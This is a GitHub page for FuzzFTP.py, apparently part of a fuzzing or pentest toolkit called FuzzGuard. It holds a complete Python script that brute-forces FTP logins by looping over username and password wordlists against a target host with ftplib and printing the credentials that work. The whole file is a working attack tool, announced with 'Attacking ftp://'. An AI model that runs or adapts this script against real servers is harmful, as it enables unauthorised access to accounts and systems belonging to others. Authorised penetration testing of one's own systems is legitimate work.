forked from hm05/FuzzGuard
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FuzzFTP.py
executable file
·60 lines (50 loc) · 2.07 KB
/
FuzzFTP.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from ftplib import FTP
def bruteFTP(host, userfile, passfile, user=None, password=None):
print(f"\nAttacking ftp://{host}....\n")
try:
if passfile and user:
with open(passfile, 'r') as f:
passwords = f.readlines()
for password in passwords:
password = password.strip()
ftp = FTP(host)
try:
ftp.login(user, password)
print(f'\033[92m [+]\033[0m {user} : ', password)
break
except Exception as e:
# If login fails, print error message
print(f'\033[91m [-]\033[0m {user} : ', password)
elif userfile and password:
with open(userfile, 'r') as f:
users = f.readlines()
for user in users:
user = user.strip()
ftp = FTP(host)
try:
ftp.login(user, password)
print(f'\033[92m [+]\033[0m {user} : ', password)
break
except Exception as e:
# If login fails, print error message
print(f'\033[91m [-]\033[0m {user} : ', password)
elif userfile and passfile:
with open(userfile, 'r') as f:
users = f.readlines()
with open(passfile, 'r') as f:
passwords = f.readlines()
for user in users:
user = user.strip()
for password in passwords:
password = password.strip()
ftp = FTP(host)
try:
ftp.login(user, password)
print(f'\033[92m [+]\033[0m {user} : ', password)
break
except Exception as e:
# If login fails, print error message
print(f'\033[91m [-]\033[0m {user} : ', password)
except KeyboardInterrupt:
print('\033[91m [-]\033[0m Detecting Keyboard Interrupt...Exiting...')
exit(1)